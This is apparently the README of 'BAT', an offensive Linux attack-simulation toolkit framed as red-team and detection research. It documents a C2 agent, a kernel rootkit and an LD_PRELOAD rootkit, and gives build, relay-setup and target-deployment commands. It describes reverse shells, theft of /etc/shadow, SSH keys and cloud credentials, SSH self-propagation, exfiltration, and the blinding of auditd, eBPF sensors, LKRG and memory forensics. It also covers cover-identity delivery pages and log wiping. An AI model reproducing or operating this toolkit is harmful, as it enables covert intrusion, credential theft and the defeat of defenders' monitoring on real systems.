
全スペクトルLinux攻撃者シミュレーションプラットフォーム。カーネルレベルのステルス性、C2ビーコン通信、権限昇格、認証情報収集、横展開、アーティファクト破壊を備えています。レッドチームの運用および検知研究向けに設計されています。
BAT は、Linux と Windows 向けの現実的で進化する敵対的脅威モデルです。これは C2 フレームワークでもルートキットでもありません。C2 通信、カーネルレベルのステルスルートキットモジュール、ユーザースペース回避、権限昇格、永続化、プロセスインジェクション、認証情報収集、データ流出、横展開を単一の統合された敵対者にまとめた完全な脅威シミュレーションプラットフォームです。設計目標は、2026 年に達成可能な最も高度で現実的な Linux 脅威となることであり、現在の検出システムが何を捕捉するかとは独立しています。
これは研究ペアの攻撃者側です。Aura フレームワークは Bat を検出するために進化します。Bat は Aura を回避するために進化します。攻撃者は検出システムに制約されることはありません。
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. 設定```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
シークレットを生成: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
バイナリは `bin/` に配置されます。
### 4. リレーのブートストラップ```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
ターゲットにエージェントを展開する:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
Agent appears in bat-server as <agentID>@<hostname> within one beacon interval (default 30s).
The kernel stealth layer (bat-stealth.ko, source in kperf-qos/) is built directly on top of Singularity, an advanced kernel rootkit research framework. Four core modules were ported and adapted:
bpf_hook: Intercepts bpf(2) and all eBPF communication primitives. Any eBPF sensor receives zero telemetry for hidden PIDs. Adapted: ARCH_SYS("bpf") replaces the x86-only __x64_sys_bpf; __ia32_sys_bpf removed for ARM64; HIDDEN_PORT replaced by a sysfs-configurable global.
hiding_fs: Complete filesystem erasure: getdents64/getdents filtering, stat/statx/newfstatat nlink adjustment, openat/access/faccessat /proc/<pid> blocking, chdir and readlink blocking. Merged from five Singularity modules (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink). Adapted: macros replace direct register access; extended for runtime-configured .
hide_module: Removes bat-stealth.ko from all kernel module lists. Extended: Singularity already saves list.prev; this version saves both list.prev and list.next and poisons both to block traversal in either direction. Added module_unhide() for reversible removal, required by K-99 before delete_module(2) can locate the module by name.
lkrg_bypass: Suppresses LKRG enforcement for hidden processes: hooks signal delivery to block SIGKILL for hidden tasks, hooks vprintk_emit to drop LKRG log messages, disables UMH validation during agent execution. Ported directly with no architectural changes.
The following modules were developed independently:
become_root: signal 59 hook that calls commit_creds(prepare_kernel_cred(NULL)) to grant uid=0 (K-03)selfdefense: blocks LiME memory acquisition, hides kallsyms entries, blocks kprobes on agent symbols, re-hides the module on any enumeration attemptaudit: suppresses auditd events for hidden PIDssysrq_hook: intercepts SysRq-T to exclude hidden processes from task dumpstaskstats_hook: filters NETLINK taskstats responses for hidden PIDsreset_tainted + clear_taint_dmesg: zeroes /proc/sys/kernel/tainted and filters dmesg lines containing module load evidencehooks_write: intercepts all kernel write paths (write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 compat) to drop log entries matching agent strings before they reach syslog or journaldpid_manager: fork tracepoint to maintain the hidden PID set across child processesThe full stack makes the agent and all its artifacts invisible to: ps, top, ss, netstat, lsof, filesystem traversal on hidden paths, lsmod, sysfs, kallsyms, auditd, all eBPF sensors, LKRG, LiME, and SysRq forensics.
Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)
bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)
| コンポーネント | 役割 |
|---|---|
| `bat-agent` | エージェント。ビーコンを送信し、TTPを実行します。Garbleで難読化されています。 |
| `bat-server` | オペレーターコンソール。対話型CLI。全エージェントを管理します。 |
| `netshell` | 配信バイナリ。システムツールのように見えますが、完全なエージェントです。 |
| `bat-rootkit.so` | LD_PRELOADユーザー空間ルートキット。ファイル、PID、ポート、環境変数を隠します。 |
| `bat-stealth.ko` | カーネルステルスレイヤー(Singularityベース)。 |
| `kcc-server` | リレーサービス。ターゲットの実行中のカーネル向けに`bat-stealth.ko`をオンデマンドでコンパイルします。 |
| `relay/` | リレーインフラストラクチャ:nginx、TLS、セットアップ、同期、配信スクリプト。 |
---
## 回避された防御策
| カテゴリ | 防御策 | 回避メカニズム |
|---|---|---|
| プロセス監視 | `ps` / `top` / `/proc` の一覧表示 | `hiding_procs.c`: `getdents64`フックが、ユーザー空間が読み取る前にprocfsからエージェントのPIDエントリを削除します |
| プロセス監視 | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | `hiding_procs.c`: `filldir`フックがすべてのreaddir結果からPIDプレフィックスをフィルタリングします |
| ファイルシステム | エージェントファイルとディレクトリに対する `ls` / `find` | `hiding_fs.c`: ターゲットのパスに対する`getdents64`/`getdents`フック; 統計のnlinkを一致するように調整 |
| ファイルシステム | `lsattr` / `chattr` 検出 | `hiding_fs.c`: エージェントのファイルパスに対する`ioctl`インターセプト |
| ファイルシステム | `/proc/modules` / `lsmod` 一覧表示 | `hiding_module.c`: すべてのsysfsとprocfsのモジュールリストから`bat-stealth.ko`エントリを削除します |
| ネットワーク | `ss` / `netstat` ポート一覧表示 | `hiding_net.c`: `tcp4_seq_show`/`tcp6_seq_show`フックが出力からC2ポートエントリを除去します |
| ネットワーク | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c`: seq_file読み取りインターセプトがC2ソケット行を廃棄します |
| ログ | `syslog` / `journald` 書き込みパス | `hooks_write.c`: `write`/`splice`/`sendfile`/`tee`のインターセプト; エージェント文字列に一致するログエントリをカーネル内で破棄 |
| ログ | `io_uring` 非同期書き込みパス | `hooks_write.c`: `io_uring_enter`/`io_uring_enter2`がインターセプトされ、ia32互換パスもカバー |
| カーネルセキュリティ | `rkhunter` / `chkrootkit` | モジュールが`/proc/modules`から隠され、エージェントファイルがファイルシステムから隠され、警告がゼロであることを確認 |
| カーネルセキュリティ | ClamAV | Garble `-literals -tiny` 難読化 + 埋め込みクリアテキスト文字列なし; 0検出を確認 (DB 2026-04-20) |
| EDR / eBPF | eBPFベースのセンサーが `/proc` を読み取る | 隠しフックがeBPFリングバッファイベントが生成される前にカーネルレベルでインターセプトします |
| カーネルイントロスペクション | エージェントシンボルに対する `ftrace` / `kprobes` | `selfdefense`モジュールがエージェント関数アドレスへのkprobeアタッチメントをブロックします |
| カーネルフォレンジック | LiMEメモリ取得 | `selfdefense`がLiMEモジュールのロードと生メモリデバイスアクセスをブロックします |
| カーネルフォレンジック | SysRq-T タスクダンプ | `sysrq_hook`がSysRq-Tによって書き込まれるタスクリストから隠しプロセスを除外します |
| カーネルフォレンジック | NETLINK taskstats | `taskstats_hook`がhidden PIDに対するtaskstats NETLINK応答をフィルタリングします |
| カーネル整合性 | LKRG強制 | `lkrg_bypass`がLKRG `SIGKILL`の配信を抑制し、LKRGログメッセージを破棄します |
| 監査サブシステム | `auditd` システムコール記録 | `audit`モジュールがカーネル監査レイヤーですべての隠しPIDに対する監査イベントを抑制します |
---
## システムコールフック
すべてのフックは、ロード時に`bat-stealth.ko`によってftraceを介してインストールされます。ia32エントリはx86_64でのみコンパイルされます(`#ifdef ARCH_SYS_IA32`)。
| システムコール / 関数 | モジュール | 目的 |
|---|---|---|
| `getdents64` | `hiding_procs.c` | エージェントPIDを`/proc`ディレクトリの一覧から隠す |
| `getdents` | `hiding_procs.c` | 32ビット互換: エージェントPIDを隠す |
| `filldir` (readdir) | `hiding_procs.c` | レガシーreaddir呼び出し元に対する補足的なprocエントリフィルター |
| `getdents64` | `hiding_fs.c` | エージェントファイルをディレクトリ一覧から隠す |
| `getdents` | `hiding_fs.c` | 32ビット互換: エージェントファイルを隠す |
| `ia32_getdents64` | `hiding_fs.c` | x86互換システムコール |
| `ia32_getdents` | `hiding_fs.c` | x86互換システムコール |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | 隠しパスに対する32ビットstatインターセプト |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | 32ビットopen/accessインターセプト |
| `ia32_readlink` | `hiding_fs.c` | 32ビットreadlinkインターセプト |
| `ia32_chdir` | `hiding_fs.c` | 32ビットchdirインターセプト |
| `ioctl` | `hiding_fs.c` | エージェントパスに対する`lsattr`/`chattr` ioctlをインターセプト |
| `tcp4_seq_show` | `hiding_net.c` | C2ポートエントリを`/proc/net/tcp`から隠す |
| `tcp6_seq_show` | `hiding_net.c` | C2ポートエントリを`/proc/net/tcp6`から隠す |
| `bpf` | `bpf_hook.c` | すべてのeBPFプログラムで隠しPIDのテレメトリをゼロにする |
| `write` | `hooks_write.c` | syslogに到達する前にエージェント文字列を含むログエントリを破棄 |
| `splice` | `hooks_write.c` | spliceパスを介した同じインターセプト |
| `sendfile` | `hooks_write.c` | sendfileパスを介した同じインターセプト |
| `tee` | `hooks_write.c` | teeパスを介した同じインターセプト |
| `io_uring_enter` | `hooks_write.c` | io_uring非同期書き込みインターセプト |
| `io_uring_enter2` | `hooks_write.c` | io_uring非同期書き込みインターセプト(v2システムコール) |
| `sched_process_fork` (tracepoint) | `pid_manager.c` | `fork`/`clone`間で非表示ステータスを継承 |
| `vprintk_emit` | `lkrg_bypass.c` | LKRGカーネルログメッセージを破棄 |
| `finit_module` / `init_module` | エージェント(kccローダー) | `memfd_create` + 匿名fdによるファイルレスカーネルモジュールロード |
---
## TTP リファレンス
| TTP | 名前 | 説明 |
|---|---|---|
| 1 | masquerade | プロセスのcomm名を`kworker/0:1`(またはカスタム)に変更 |
| 2 | reverse_shell | relay:4445へのリバースTCPシェル |
| 3 | memory_rwx | 匿名RWXメモリを割り当て(検出プローブ) |
| 4 | shell_exec | 任意のシェルコマンドを実行 |
| 5 | beacon | 即座の追加チェックインを強制 |
| 6 | persist | 持続性をインストール(cron / systemd / rc.local / openrc / profile / XDG autostart) |
| 7 | creddump | `/etc/shadow`、bash履歴、環境シークレット、AWS IMDSを収集 |
| 9 | exec_chain | プロセスチェーンを生成(検出プローブ) |
| 10 | install_rootkit | `/etc/ld.so.preload`を介して`bat-rootkit.so`を展開 |
| 11 | inject + exit | ビーコン + rawsockスレッドを実行中のプロセスに注入し、その後自己終了 |
| 20 | network_recon | ローカルサブネットのARPテーブル + TCP :22スキャン |
| 21 | ssh_harvest | 秘密鍵、known_hosts、authorized_keys、設定を収集 |
| 22 | lateral_move | 発見されたホストにSCPで自身をコピーし、SSH経由でデタッチ実行 |
| 23 | creddump_full | 拡張資格情報収集 + 環境フィンガープリント |
| 30 | exfil-file | 任意のファイルを読み取り、ベース64チャンクをビーコンチャネルで送信 |
| 31 | exfil-dir | ディレクトリをtar+gzipで圧縮し、ビーコンチャネルで外部送信 |
| 32 | exfil-auto | 設定されたパスを監視し、変更時に自動外部送信 |
| 34 | netmap | /16 CIDRをスキャンして生存ホストと開放ポートを検出 |
| 35 | autospread | 収集したキーを使用して発見されたホストにSSH横断移動; エージェントをコピーしてデタッチ実行 |
| 36 | smbprobe | 横断移動候補のSMBポートプローブ(:445) |
| 99 | kill | サイレント自己終了 |
| 222 | destruct | すべての痕跡を削除、メモリを消去、終了 |
| 1003 | K-03 (privesc) | カーネルシグナル59が`commit_creds`をトリガーしてuid=0に昇格 |
| 1099 | K-99 (unload) | sysfs + raw `delete_module(2)`を介した二段階の`bat-stealth.ko`アンロード |
コンソールコマンド(`bat-server`プロンプト内):
- `kill`: 全エージェントにTTP 99
- `destruct`: 全エージェントにTTP 222
- `destruct @<agentID>`: 対象指定のワイプ
---
### KCC: カーネルコンパイルキャッシュ
`bat-stealth.ko`は、ターゲットの実行中のカーネル向けにオンデマンドでコンパイルされます。エージェントは実行時に完全なフローを自動化します。ターゲットごとに事前ビルドされたモジュールは不要です。
1. **カーネルの検出**: エージェントが`/proc/version`を読み取り、正確な`uname -r`文字列を取得します。
2. **コンパイルを要求**: エージェントがHMAC署名付きリクエストでカーネル文字列を`kcc-server`(`:9444`)にPOSTします。
3. **kcc-serverがコンパイル**: サーバーが一致するカーネルヘッダーに対して`bat-stealth.ko`をビルドし、結果をカーネルハッシュでキャッシュします。
4. **モジュールバイトを受信**: コンパイルされた`.ko`がレスポンスボディで返されます。
5. **ファイルレスロード**: エージェントが匿名メモリファイル(`memfd_create`、x86_64ではsyscall 279、ARM64では319)を作成し、モジュールバイトを書き込み、空のパラメータ文字列で`finit_module`(syscall 273 / 313)を呼び出します。
6. **登録**: モジュールがすべてのフックを登録し、ミリ秒以内に自身をsysfs/procfsから隠します。
どの時点でも`.ko`ファイルがディスクに書き込まれることはありません。ロード後すぐにモジュールは`/proc/modules`から消えます。
**最小カーネル:** 6.x(K-00プローブ; エージェントは古いカーネルではステルスロードをスキップ)。
**テスト済み:** 6.1.0 (Debian 12 / Ubuntu LTS), 6.8.0 (Ubuntu 22.04 GCP)。
---
## ビルドプロファイル```bash
make lab SECRET=<hex> # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex> # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex> # ICMP trigger only, no UDP port exposure
All profiles require SECRET=. Override relay IP with RELAY=<ip>.
SHA-256(secret); replays rejected server-side.-literals encryption at compile time. -X ldflags intentionally avoided (ldflag values appear plaintext in binaries).bat-server.relay/static/ is the relay's public face. The release ships a bare placeholder. Replace index.html and supporting pages with your cover identity before running sync.sh. Delivery scripts (static/i, static/api/setup, static/api/v1/index.json) use __CDN_DOMAIN__ as a placeholder; set CDN_DOMAIN= in build.env and sync.sh substitutes it automatically. Update relay/nginx/bat.conf with the real domain in server_name and TLS cert paths before the first nginx deploy.
The CDN profile routes agent traffic through an edge proxy layer. The agent connects to the CDN domain over HTTPS; the proxy forwards traffic to the relay's local listener over the SSH reverse tunnel. From a network perspective, all agent traffic originates from CDN edge IP ranges rather than the relay VPS.
---
When a target fetches the agent binary from the CDN endpoint, a delivery alert is dispatched instantly to a configured Telegram channel. The notification includes: source IP, timestamp, request path, detected architecture (x86_64/arm64), file size, User-Agent string, and CDN edge identifier.
The delivery-alert.service daemon tails the nginx access log and fires on any hit against the honey download path. Configure during relay bootstrap:```bash
sudo bash -s -- --tg-token <BOT_TOKEN> --tg-chat-id <CHAT_ID> < relay/setup.sh
認証情報はリレーの `/etc/bat/tg.env` に書き込まれ、`sync.sh --tg` を介してすべての同期ターゲットに伝搬されます。サービスは自動的に起動し、リレーの再起動後も持続します。
---
## 免責事項
本ソフトウェアは、許可されたセキュリティ研究、管理されたラボ環境における敵対的シミュレーション、および検出・対応能力の開発のためにのみ開発されています。これには、カーネルレベルのルートキット、プロセスインジェクション、クレデンシャルハーベスティング、ラテラルムーブメントなどの攻撃手法の機能的な実装が含まれています。システム所有者からの明確な書面による許可なしにいかなるシステムに展開することは、ほとんどの法域で適用されるコンピュータ詐欺および濫用に関する法律の下で違法です。著作者は、本ソフトウェアの無許可、過失、または悪意のある使用に起因するいかなる損害、法的結果、または害についても責任を負いません。本ソフトウェアを使用することにより、あなたは合法的かつ許可された範囲内で活動する資格のあるセキュリティ専門家であり、その使用に関する完全な法的および倫理的責任はあなたのみにあることを確認するものとします。本ソフトウェアは、事前の書面による同意なしに第三者に再配布、公開、または開示してはなりません。
REGS_ARGnshould_hide_path()bat_hidden_paths[]| ATT&CK ID | Technique | Bat Implementation |
|---|
| T1036.005 | Masquerading: Match Legitimate Name | TTP 1: prctl(PR_SET_NAME) to kworker/0:1 |
| T1055 | Process Injection | TTP 11: shellcode + rawsock thread injected into live process |
| T1205.001 | Traffic Signaling (Magic Packet) | UDP/ICMP trigger wakes agent from dormancy |
| T1071.001 | Web Protocols C2 | HTTPS beacons over :443 or :9443 |
| T1573.001 | Encrypted Channel: Symmetric | HMAC-SHA256 authenticated beacons over TLS |
| T1090.004 | Proxy: Domain Fronting | CDN profile routes agent traffic through an edge proxy layer |
| T1574.006 | Hijack Execution: LD_PRELOAD | TTP 10: bat-rootkit.so via /etc/ld.so.preload |
| T1014 | Rootkit | bat-stealth.ko: hides PIDs, ports, files, module, self |
| T1562.001 | Impair Defenses: Disable Tools | bpf_hook blinds eBPF sensors; lkrg_bypass disables LKRG |
| T1562.012 | Impair Defenses: Disable Linux Audit | audit module suppresses auditd events for hidden PIDs |
| T1068 | Privilege Escalation via Exploitation | K-03: signal 59 triggers commit_creds to uid=0 |
| T1543.002 | Create/Modify System Process: Systemd | TTP 6: systemd unit persistence |
| T1053.003 | Scheduled Task: Cron | TTP 6: crontab persistence |
| T1070.002 | Clear Linux Logs | clear_taint_dmesg filters dmesg; reset_tainted zeroes taint flag; hooks_write drops log entries in-kernel |
| T1070.004 | Indicator Removal: File Deletion | TTP 222 destruct: full artifact wipe |
| T1003 | Credential Dumping | TTP 7/23: /etc/shadow, shell history, env secrets |
| T1552.004 | Unsecured Credentials: Private Keys | TTP 21: SSH keys, known_hosts, configs |
| T1552.005 | Cloud Instance Metadata | TTP 23: AWS IMDS credential harvest |
| T1018 | Remote System Discovery | TTP 20/34: ARP enumeration + /16 CIDR scan |
| T1046 | Network Service Scanning | TTP 20/34: TCP port scan of discovered hosts |
| T1021.004 | Lateral Movement via SSH | TTP 22/35: SCP self to discovered host, exec detached |
| T1078 | Valid Accounts | TTP 22/35: lateral move uses harvested SSH keys |
| T1048 | Exfiltration Over Alternative Protocol | TTP 30/31/32: file and directory exfil over beacon channel |
| T1059.004 | Unix Shell Execution | TTP 4: arbitrary command execution |
| T1027 | Obfuscated Files or Information | garble -literals -tiny -seed=random; XOR(0x5A) config encoding |
| T1620 | Reflective Code Loading | TTP 11: shellcode executed in target process address space; bat-stealth.ko loaded via memfd_create |